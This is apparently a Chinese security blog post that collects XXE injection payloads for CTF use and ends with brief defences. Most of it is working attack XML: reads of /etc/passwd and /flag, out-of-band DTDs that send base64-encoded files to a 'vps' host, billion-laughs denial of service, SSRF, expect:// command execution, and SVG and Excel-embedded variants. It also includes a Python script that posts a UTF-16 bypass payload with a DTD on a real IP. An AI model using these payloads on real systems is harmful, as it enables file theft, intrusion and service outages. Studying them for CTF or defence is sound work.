HacKerQWQ的博客空间

XXE注入

Word count: 2.7kReading time: 13 min
2020/08/05 Share

libxml2.9.0之后默认不解析外部实体,php版本不影响XXE的利用
web目录为:

1
2
3
4
5
6
$ tree .
.
├── dom.php # 示例:使用DOMDocument解析body
├── index.php
├── SimpleXMLElement.php # 示例:使用SimpleXMLElement类解析body
└── simplexml_load_string.php # 示例:使用simplexml_load_string函数解析body

php读取xml代码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
highlight_file(__FILE__);

函数介绍

1
2
3
4
5
6
libxml_disable_entity_loader  #禁用/启用加载外部实体的功能     参数为true时为禁用,参数为false为启用
file_get_contents('php://input') #简单理解就是接受POST请求方式传的数据
loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD) #通过解析一个 XML 标签字符串来组成该文档
simplexml_import_dom #把 DOM 节点转换为 SimpleXMLElement 对象

$creds->ctfshow 获取页面中的ctfhsow元素

XML和DTD格式

  1. XML格式
    1
    2
    3
    4
    5
    6
    <note>
    <to>Tove</to>
    <from>Jani</from>
    <heading>Reminder</heading>
    <body>Don’t forget me this weekend!</body>
    </note>
  2. DTD格式
    1
    2
    3
    4
    5
    6
    <!DOCTYPE note [
    <!ENTINY to (#PCDATA)>//表示在to之间可以插入字符或者子标签
    <!ENTINY from (#CDATA)>//表示在to之间可以插入字符传
    <!ENTINY heading SYSTEM "file:///etc/passwd">//从外部读入标签(系统内)
    <!ENTINY body SYSTEM "http://example.com/evil.dtd">//从外部读入标签(系统外)
    ]

XEE注入

常规payload

注意:有时候并不是只有上传xml的时候才有xxe,也可以试试将json改为xxe

  1. 读入系统文件

    方法一(有回显):

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>

​ 方法二(vps读取dtd):

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE note [
<!ENTITY % a SYSTEM "http://example.com/evil.dtd">
]>
%a;
<note>&xee;</note>

其中evil.dtd的格式为:

1
<!ENTINY xee SYSTEM "file:///etc/passwd">

​ 方法三(读取文件内容发送到vps):

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % xee SYSTEM "http://vps:9999/xxe.dtd">
%xee;
%send;
]>
<root>
</root>

xxe.dtd文件内容为

1
2
3
4
<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://vps:7777/xiaobai.php?1=%file;'>"
>
%all;

image-20220715155356983

  1. 拒绝服务攻击
1
2
3
4
5
6
7
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
]>
<data>&a2;</data>
1
2
3
4
5
6
7
8
9
10
11
12
<!--?xml version="1.0" ?-->
<!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
<tag>&lol9;</tag>
  1. SSRF
1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/" [
<!ELEMENT data (#ANY)>
]>
<data>4</data>

4.RCE

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
<core id="test101">
<description>&xxe;</description>
</core>
</catalog>
  1. XInclude

    1
    2
    <?xml version='1.0'?>
    <data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://publicServer.com/file.xml"></xi:include></data>
  2. 本地文件包含

    1
    2
    3
    4
    <?xml version="1.0"?>
    <!DOCTYPE foo [
    <!ELEMENT foo (#ANY)>
    <!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
    1
    2
    3
    4
    5
    <?xml version="1.0"?>
    <!DOCTYPE foo [
    <!ELEMENT foo (#ANY)>
    <!ENTITY % xxe SYSTEM "file:///etc/passwd">
    <!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]><foo>&blind;</foo>
  3. 远程加载

    1
    2
    3
    4
    <?xml version="1.0"?>
    <!DOCTYPE lolz [
    <!ENTITY test SYSTEM "https://example.com/entity1.xml">]>
    <lolz><lol>3..2..1...&test<lol></lolz>
  4. UTF-7

    1
    2
    3
    4
    <?xml version="1.0" encoding="UTF-7"?>
    +ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
    +ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
    +ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
  5. Base64

    1
    <!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
  6. SOAP

    1
    2
    3
    4
    5
    <soap:Body>
    <foo>
    <![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]>
    </foo>
    </soap:Body>
  7. SVG

    文件读取

    1
    2
    3
    <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
    <image xlink:href="file:///etc/passwd"></image>
    </svg>
    1
    <?xml version="1.0" standalone="yes"?><!DOCTYPE xyz [ <!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
RCE

1
2
3
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://calc"></image>
</svg>

excel的XXE利用

前言

XML外部实体攻击非常常见,特别是通过基于HTTP的API,我们经常遇到并利用以此通常获得对客户端环境的特权访问。
不常见的是用Excel进行XXE攻击。

这是什么方式

实际上,与所有post-Office 2007文件格式一样,现代Excel文件实际上只是XML文档的zip文件。这称为Office Open XML格式或OOXML。
许多应用程序允许上传文件。有些处理内部数据并采取相应的操作,这几乎肯定需要解析XML。如果解析器未安全配置,则XXE几乎是不可避免的。
在这篇文章中,我专注于Excel只是因为处理Excel文件比使用Word文档或Powerpoint更常见,但它肯定并不罕见,本文中的任何内容都可能适用于这些应用程序。

入门

假设我们有一个接受Excel文件进行上传和处理的目标应用程序,我们就可以开始探测XXE了。相同的攻击有效负载可能会起作用,我们只需将它们放入Excel文件即可。
创建一个新的空白Excel文件。你可以在某些单元格中键入内容,但实际上并不是必需的。如果您没有安装Excel?您可以使用Google表格,然后下载为xlsx。
创建一个目录以将Excel文件解压缩并解压缩。

img

用于攻击应用程序的文件会有所不同,这在很大程度上取决于所使用的库。xl/workbook.xml提供了工作簿内容的概述,通常是大多数解析开始的地方,因为它将包含工作表及其名称的列表。单个工作表本身位于xl/worksheets目录下,通常内容最终会进入xl/sharedStrings.xml。

我在实际中发现了这一点,大多数应用程序似乎都会使用xl/workbook.xmlXML解析器来获取工作表列表,然后分别读取每个工作表以获取单元格内容。我还没有找到任何易受细胞影响的应用程序,但您的里程可能会有所不同。

鉴于这种方法,根据经验,通常最好先尝试xl/workbook.xml,这就是我将在这篇文章中展示的内容。就像将XXE有效负载添加到此文件一样简单,将内容压缩回Excel文件并将其上传到应用程序。

使用BURP COLLABORATOR对XXE进行盲测

在我们的演示应用程序中,无法将数据检索到HTTP响应中,因此所有这些XXE发现和利用都将是盲目的。我喜欢使用Burp Collaborator进行初始测试,因为阻止出站HTTP请求但允许DNS查询的情况并不少见。使用Collaborator我们可以看到两种交互并确认漏洞,即使我们可能无法轻易利用它。

打开Burp Suite Professional,单击Burp菜单并选择“Burp Collaborator client”将其打开。

img

单击“复制到剪贴板”。就我而言,值是gtdwmy7gvrncy5rvfu11kxzl2c82wr.burpcollaborator.net。现在我们将其插入到XML中。
打开xl/workbook.xml并将以下内容插入第2行和第3行。确保从Burp中粘贴你的值,而不是下面显示的值。:

1
2
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://gtdwmy7gvrncy5rvfu11kxzl2c82wr.burpcollaborator.net/"> ]>
<x>&xxe;</x>

你的xl/workbook.xml现在会是像这样。

img

现在将其压缩以创建新的Excel文件。

img

现在将此poc.xlsx上传到你的应用程序。在这种情况下,有一个简单的ReactJS演示应用程序,它允许我们将文件拖入。你的应用程序应该会有所不同,但都是一个方式。

img

现在检查您的Burp Collaborator客户端,看看您是否有任何点击。

img

成功。我们已确认XXE。

XXE绕过

  1. 去xml头

    1
    2
    3
    4
    5
    6
    7
    8
    <!DOCTYPE  xxe [
    <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/flag">
    <!ENTITY % xee SYSTEM "http://vps:9999/evil.dtd">
    %xee;
    %send;
    ]>
    <root>
    </root>
  2. version前加空格

    这种情况适用于简单的正则匹配xml头

    1
    2
    3
    4
    5
    6
    7
    8
    9
    <?xml  version="1.0" encoding="UTF-8"?>
    <!DOCTYPE xxe [
    <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/flag">
    <!ENTITY % xee SYSTEM "http://vps:9999/evil.dtd">
    %xee;
    %send;
    ]>
    <root>
    </root>
  3. 编码绕过

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    import requests

    url="http://813f9987-7aba-4dd1-b779-0cb3059fa45b.challenge.ctf.show/"
    data='''<!DOCTYPE xxe [
    <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/flag">
    <!ENTITY % xee SYSTEM "http://82.157.161.5/xxe.dtd">
    %xee;
    %send;
    ]>
    <root>
    </root>'''
    requests.post(url,data=data.encode('utf-16'))

XXE注入防御

方案一、使用开发语言提供的禁用外部实体的方法

PHP:

1
libxml_disable_entity_loader(true);

JAVA:

1
2
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:

1
2
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案二、过滤用户提交的XML数据

关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC

ctf需要用到的大概就这些,更多的资料参考链接

CATALOG
  1. 1. XML和DTD格式
  2. 2. XEE注入
    1. 2.1. 常规payload
    2. 2.2. excel的XXE利用
      1. 2.2.1. 前言
      2. 2.2.2. 这是什么方式
      3. 2.2.3. 入门
      4. 2.2.4. 使用BURP COLLABORATOR对XXE进行盲测
  3. 3. XXE绕过
  4. 4. XXE注入防御